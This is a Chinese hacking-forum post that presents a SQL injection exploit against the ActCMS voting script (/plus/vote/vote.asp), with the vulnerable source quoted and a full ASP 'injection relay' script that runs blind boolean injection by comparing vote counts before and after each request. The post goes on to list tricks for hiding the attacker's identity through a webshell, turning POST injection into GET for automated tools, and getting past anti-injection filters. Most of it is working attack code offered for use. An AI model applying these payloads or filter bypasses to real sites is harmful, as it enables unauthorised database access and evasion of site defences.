找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2329|回复: 0
打印 上一主题 下一主题

注入中转的高级应用,actcms漏洞以及其他

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:13:20 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

) |* q( H. p* d看到ninty大牛的blog的一篇文章
7 V5 w+ l, e, G! J链接标记[url]http://www.forjj.com/?action=show&id=80[/url]6 M9 B9 H8 i  ~+ h+ `4 M) y
关于actcms漏洞的利用  by 3x qq:3818625897 i* H' h; Y- A; k" m0 Z/ b
转载请注明以上
; }; S3 j" a; u8 x0 C0 g漏洞文件:
8 b! }; A8 i) L3 P, H/plus/vote/vote.asp
" A) I! g* t' S) G4 a4 k" r代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
: C$ d% [/ S' `$ N5 X& A, S8 W3 X  |( E" E! U0 `3 Q) p
2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   - M' E! g, L1 R
3 x6 z! E) y/ c" j4 K1 D4 F
3    response.end    9 k$ V/ z5 _6 s3 f

* D6 r2 G6 w# ~4    end if   
" e( F: S- \* c) B  S9 A$ X" ~0 u: m: _  ?7 @
5    for i=1 to request("voted").count    2 G) x8 B- a" N/ e, c
1 S! _, |  Q$ I4 t( _/ ^$ K$ c
6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   
- V1 e4 v4 w. T! b) m
* u) M/ }2 R9 V7    next    * _# [. `) r+ c! M8 `3 P6 s7 j
9 ^1 R/ L( M( N# s* k: |$ t
8....      L( s1 k2 V& h- m& z

, L% t/ Q  s; x% {9response.Redirect "index.asp?id="&id&""   
1 E3 s9 I3 c1 J3 f( B投票结束回跳转回index.asp这个投票结果页面
+ f" c1 t5 e' K" ^1 b如果投票成功票数加1
" U7 a- e; W  ?9 W" X8 J            失败票数不变
/ J8 c( c3 z4 o* B0 ]如图:6 u5 P7 e5 |" e; t
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
! z4 d- X3 b0 y4 \4 x+ N  W& G
! t2 _2 F/ S1 \2009-12-27 13:20, Q/ l+ `1 K7 ~8 {3 n  d% w/ x

6 U/ F* @9 q+ B0 Q; y利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了1 k7 J$ F2 u7 M. i  l( i

4 \9 [8 U8 ^2 B* f* [6 C本帖隐藏的内容需要回复才可以浏览& e* v+ ]. _) ^# x0 J" Q: t
我们用注入中转来实现这个注入具体代码如下:
) j* s, J1 R% Y先用寂寞的刺猬大牛的注入中转生成jmget.asp3 i' k+ ?7 c/ K1 A- S' d1 m4 H- c2 S! o
注入地址:http://localhost/actcms/plus/vote/vote.asp! D* Y9 X! }. d+ c5 Z' d
注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项
+ G$ b; Z9 G  n  U: l
! T' x! h  [* S4 V- g然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<% 4 ]3 X6 P6 x3 N7 M7 J
5 t. M& Z( R' r9 ^
02JmdcwName=request("jmdcw") 0 Q; C1 \2 R% w; Q

4 ?! V/ z4 d2 K4 j5 w* f3 e# Q03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] 4 V. f' j/ Y7 v' Z5 l( M- F8 ]
5 ?. k3 `& |5 A$ T4 i; w( O" Q6 N3 ^
04JmStr="id=1&voted=-1 or 1="&JmdcwName
5 @" d8 g1 y! s* v! J' L# Y8 A/ g; o/ o0 [
05JmStr=URLEncoding(JmStr)
" e: N# l  \/ O
+ X8 c* r% u1 L06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"0 \4 c# N- Y: q! z4 m

) W- ?7 {" f" F: q5 d/ D1 b2 c( }07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"/ s1 [, G$ Y, u! m7 K# q; V- n
: ~. c' z# m5 F; v4 s- i4 V0 X6 r2 b
08testurl=testurl & "?" & JmStr
; E$ d8 s( Q: w2 l; m7 f+ T$ G
6 k7 v' c4 F! E9 u( ~6 W8 h/ ?+ i5 a& C09JMUrl=JMUrl & "?" & JmStr
7 H  M" G- W$ x7 K' j9 |! H* U, ^- I& Z) |6 Q4 G
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp". p# F$ n( z9 K/ a5 E: |& g
( {/ [% D% j$ Y8 [, A' B, Y8 i$ \
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
% Q( r+ G) V, R6 Z
9 _/ |6 q; Y; F12JmCok=replace(JmCok,chr(32),"%20")  
4 E8 x$ h3 D2 ^1 w; {4 |, ]( B6 o/ P$ ]
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
5 ?+ a- W+ O3 E! v- d9 q3 s) k3 @( D2 B
14  
' K5 e9 T+ d% O% `4 N, }! M8 S
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票 7 w9 _7 r% F9 M. I# R: n; G4 S. @
2 T0 f( }& J6 \+ z8 h! E# @
16  
+ D6 D2 |% z. L5 s# }: ?9 o* t* v( k6 _, ^. E
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录 6 y/ g2 Z  ^; j) F4 V' h: b: T' {5 J

& s, r4 l! K8 l6 Q/ I, @$ P7 o9 I18response.write test1&""&test2&""
( t$ ^- b0 ^4 O& d* M* y1 J( s8 A* x; }( P# Z# x. Z
19  8 O5 ^+ e& M! B. S% r( s9 k$ _4 z

/ Z' b( {. Q- H7 w7 R; I1 m+ H20if test1=test2 then '如前后记录相等,表示失败 9 w& h, p1 U9 g
; z, k; y: V& g0 m
21  response.write "failed"9 [3 y: \9 R5 R, t

, m4 v) z( Z+ b' Q3 O22else
! C6 K4 B( {1 [3 b9 G5 F" e3 u
23  response.write "succeed"
7 n1 w& H2 z0 T4 G
; \& {% W4 t) v( Q7 l2 {+ i$ ]24end if  
2 i  v& d+ s* X, r9 P8 O% z8 e6 r5 m
25  ; e/ a  ^9 Q! Q) z

( B& V  j# q0 q$ {  l26response.write "by 3x"
  D0 j+ S# q! n0 l& c
- D1 E, d! \; O* H3 [- P27  
( N  d( z! Z8 `5 B
, `1 v7 `. K, i; M4 _28  / E7 S6 g& p2 ^) O' I9 b

  O$ N( i- `4 I# ^5 R29Function PostData(PostUrl,PostStr,PostCok,PostRef)   
& i& p$ L7 K  D: Q; w7 _& l" I" \1 m* a) \
30Dim Http
- F/ [+ r, F/ o7 j' z& k$ R  t5 ?, g4 k# G6 l
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
: D! P  i0 ^4 R
, _; m; U- e, @9 l* \, ]% z32With Http
5 I  J8 \9 \, t5 j7 a$ @
% Y: a6 m* f  y( u- k33  : Z) y' }; k# U. {. V

; G8 a) S- Y/ l4 p34.Open "GET",PostUrl,False+ R' ?( N0 C. G; W  |+ ?: [
4 f  H3 j, ?7 k( R% K, r
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"& i# o# J+ F4 ~4 j3 V, |9 h2 p0 }
" T$ i4 A1 O. b  j
36.SetRequestHeader "Referer",PostRef
0 u- ]3 C; M8 U; G( Y5 Z3 M- m& Y
37.SetRequestHeader "Cookie",PostCok * Q1 b* M# ~5 Y& G. R5 ?

; _7 \1 }: B3 d+ o* c38.Send ()
" ]7 C% w  X* S* W7 V8 V% V+ N4 u* I+ y: i4 c# ]9 b, w
39PostData = .ResponseBody * `- |1 M! W3 C% O
) W! O0 \9 P/ }
40End With- \# {# _" O. _+ {  P1 S) M
# C- ~# x8 u# {0 R/ x( a0 n
41Set Http = Nothing& [9 Q# Q: y7 ~1 l& R4 a# V
& h; |/ C' H0 U( r% f* W; K) _
42PostData =bytes2BSTR(PostData)
3 m. \! v1 q% H$ w6 f& |  j+ T$ K5 {9 S2 f8 U
43End Function
! g& H5 u& ]) U
, |- K5 Q  P2 h& W44  
0 W: M+ W  u8 y$ m
5 D# a" @6 G  D5 j0 J+ I45  4 _& W8 G+ y  s( {6 m# h0 F, Y

6 \9 S4 J% Z* B" O: v46Function bytes2BSTR(vIn)
% Y/ Y3 I5 R( l8 f  m
" y: _& E! A/ r* f0 y47Dim strReturn 7 R, _. y& N% A2 K. e# n3 g- T4 T
( n- j# m* P" \0 C5 G; l1 a
48Dim I, ThisCharCode, NextCharCode
# Z# ?; O. M# W
- d  H& M8 V! o- o* J2 }49strReturn = ""
% K# }; i) m0 ?8 |% ~/ H6 Z4 Y; L) z; C
50For I = 1 To LenB(vIn) % E* b- ?- ]! F
. {5 @& \. F9 V- S. O
51ThisCharCode = AscB(MidB(vIn, I, 1))
; l; D! R+ x/ w. g& E; }: r4 [" u- x# w0 i# O2 H
52If ThisCharCode < &H80 Then
+ W8 B+ Z( m/ r1 d& m  g& z8 y# |5 x1 {7 d  X: e; Q
53strReturn = strReturn & Chr(ThisCharCode) / j7 N& q4 T( Q% V/ l

1 e; |. J7 R$ w6 z4 F+ ]' |54Else
* |- O8 A) |# R; F2 B8 Q
* r* e; b( Q/ B( `1 _5 n55NextCharCode = AscB(MidB(vIn, I + 1, 1))
- m3 W# q# a: y) H" k% l+ v% A% r; V
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
0 l0 W. C  E5 ?0 N4 N. M' F
" i2 K$ t9 M$ h% l4 r57I = I + 1
9 c/ P) \7 J4 D7 Q8 x3 Q2 R' d  M# |1 u
58End If7 V$ ^7 c- i6 E" J% Z% C' e

  y; e' O# Y7 l2 i8 }! V/ J9 ^59Next
! B% {9 d, \. x4 Z/ N& N0 S% U
' Y# T" a, [( n5 ]' m' z! l60bytes2BSTR = strReturn : V5 f: Y7 L3 q# W4 ^8 _, y
* T8 i8 L4 l$ P1 [* E; Q7 E  e
61End Function
" q- \5 n6 m' t; T# g8 [4 }' c3 c
. R! x  l' {: i; I" U1 B62  
, X% H6 B$ ]0 p. r& u. |  }5 x8 f6 p2 d( m$ I6 @/ ^
63Function URLEncoding(vstrin)  
7 C4 o; Z: G& R- r  s: G# Z( i1 n! h" x6 l- k  P- ?' g/ M- ~% `
64strReturn=""
2 J$ @# N2 l; W- Z: S7 n$ @3 ~2 q" c9 C" }4 b$ K
65Dim i # Q2 Y0 _& d8 @) G4 o, U8 g

1 F5 _; v0 Z! T" ]7 q: j66For i=1 To Len(vstrin)
9 R- S9 ^" r# l+ a
8 g7 O4 t: S5 _; m8 a67ThisChr=Mid(vstrin,i,1)
* E! ?9 t: [. E; X' A. e- O- z9 `5 p7 w
68if Abs(Asc(ThisChr))< &HFF Then) O8 [# d# c0 ^( D; O% Y

7 q* l5 U; K* z69strReturn=strReturn & ThisChr + N- Z4 |6 T$ E6 y' E' ~6 Q
; ?) j/ b( Q' d; M+ q7 Z1 B" o
70Else
1 ^# j; n. N2 I9 V$ J; e
0 L* J  g, j$ f9 b$ y# [71InnerCode=Asc(ThisChr)
3 k& O/ C& |6 L8 [: f1 g/ Q3 m: r1 H$ L0 q$ _
72If InnerCode<0 Then
4 K& d. W2 H; X1 t( c4 `8 I" _7 q- w: H9 i# F( `; p
73InnerCode=InnerCode + &H10000
" Z& G* N0 h" b# \: u
6 I/ p& h5 s  C) Y74End If: X+ G6 `+ A7 f9 W) T$ O8 D+ ^7 g2 V
% c0 P* y- {0 @5 p1 |
75Hight1=(InnerCode And &HFF00) \&HFF
+ y- Q( ?. d% u- v1 C  D8 G/ ^
- w; a4 G% Z% k& s: R2 c" M76Low1=InnerCode And &HFF 4 o7 ?2 j1 a- ~7 p, D

9 t- Y8 f- P9 ~; V2 s7 h# _' w77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) 5 s) g  ]. i$ Y
" X5 f. I6 r$ r
78End if $ ~5 z; ?: y* r$ S

$ @! N& U1 a+ Y* e% Z4 `79Next! V: S- m$ E' r1 f
% g7 P1 @+ @! l$ ]* O" X& S
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 * V: h8 a) g, G) n

, r, |# S- z$ d* T81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符 + f; E9 E' N# r0 |
' i4 c, @5 q: n
82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码
1 X$ d  o, [! R& H
# n: S& F* c" @* [% k% g83URLEncoding=strReturn 1 p2 p$ `8 u7 f  {8 Y6 I' X* l) c/ m
" A+ L2 u$ s+ }) T5 O
84End Function
5 r! {6 \% B. O6 V3 h7 e3 T1 S( q  H, k6 v
85  
' N6 e! q( q2 f/ q  F; K/ T9 a( w; |0 g4 ]* _5 i
86function getSt(body) 8 W& ?% P3 I& {2 d, j8 k  S) l6 Z3 u
% `  Z& v2 V& W! R  u/ W0 u. u7 P1 q
87  startpot=instr(body,"投票人数:")+len("投票人数:") 7 a8 i2 Y" f' ^

* R. o  s  Y' \' N88  endpot=instr(startpot,body," ") + m& I5 c) X+ j
3 b4 @* }, ^" p9 n# X
89  getSt=mid(body,startpot,endpot-startpot)
; H0 v! i! l& n( O/ i; s6 Z- k4 r% ?* x( n- H) c
90end function
" Z, d" z( R: z5 j, p* ?$ }5 v, [+ @( c
91%>
9 {; I7 R9 E4 i( T4 Y+ M/ l5 s注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
1 ?3 ]& v, F$ x测试下效果:( f/ C% o9 s5 }0 M
投票成功:
6 o7 T% `  D3 B7 t6 Zhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
6 ]. H/ V( G6 D$ g) U, w) N. A+ K9 A5 w; d/ d- {
2009-12-27 13:29
# |' X0 f6 X( T4 `投票失败1 A: }8 s6 W. L
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
; m  ]+ q+ V& V& j9 a6 z, a
6 C+ X+ t& Y8 u: B, W* n. @2009-12-27 13:29
8 b0 @4 O. {4 L" L/ l; I) W-------------------------------------------------------------------------------+ y5 D9 d# ]- U' L+ E! u* z
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
8 T1 U3 I1 P0 Q很抱歉。。。只能用单线程工具去注入。。。。。
! f# G; q; w( o* }- |) f4 F所以失败。。。不好意思。。。9 q& {- k9 n/ ^& Y
-------------------------------------------------------------------------------
3 M3 Z: ^! ?( M0 M% j' n% L0 c5 I5 |; F4 |
注入中转的一些其他应用- b( u  F+ H* L3 W- p
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了% E5 p2 V- W# M0 }$ l  O: \
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
, f0 K# H+ d5 Q$ r0 D: N2.post注入转成get型的注入,方便我们使用工具来跑: Q# L0 ~& \8 `6 V' @9 P$ n) t7 R
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")6 |& y& p* @3 b2 C& ~7 e6 W; {
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
5 h9 w4 v+ |0 H+ y6 b8 K4 l+ I
' l9 a6 q5 u, P3 h# N0 u$ D/ s
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表